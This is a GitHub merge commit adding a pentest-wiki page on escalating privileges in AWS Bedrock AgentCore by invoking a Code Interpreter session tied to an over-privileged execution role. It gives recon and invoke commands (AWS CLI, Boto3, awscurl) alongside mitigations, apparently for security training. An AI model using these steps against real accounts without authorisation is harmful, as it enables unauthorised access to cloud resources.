Merge pull request #258 from AMOussama/bedrock-agentcore-code-interpreter

arte-Oussama - Bedrock agentcore code interpreter
This commit is contained in:
SirBroccoli
2026-02-12 20:36:02 +01:00
committed by GitHub

View File

@@ -0,0 +1,122 @@
# AWS - Bedrock PrivEsc
{{#include ../../../../banners/hacktricks-training.md}}
## Amazon Bedrock AgentCore
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”.
If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution roles permissions** (lateral movement / privilege escalation depending on role scope).
> [!NOTE]
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
#### Preconditions (common misconfiguration)
- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
- A user (developer/auditor/CI identity) has permissions to:
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
#### Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
```
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
**Option A - Boto3 example (execute Python + verify identity):**
```python
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
```
If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that roles identity (not the low-priv caller), demonstrating the pivot.
**Option B - Signed HTTPS call (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
```
#### Impact
* **Lateral movement** into whatever AWS access the interpreter execution role has.
* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
#### Mitigations / Hardening
* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
{{#include ../../../../banners/hacktricks-training.md}}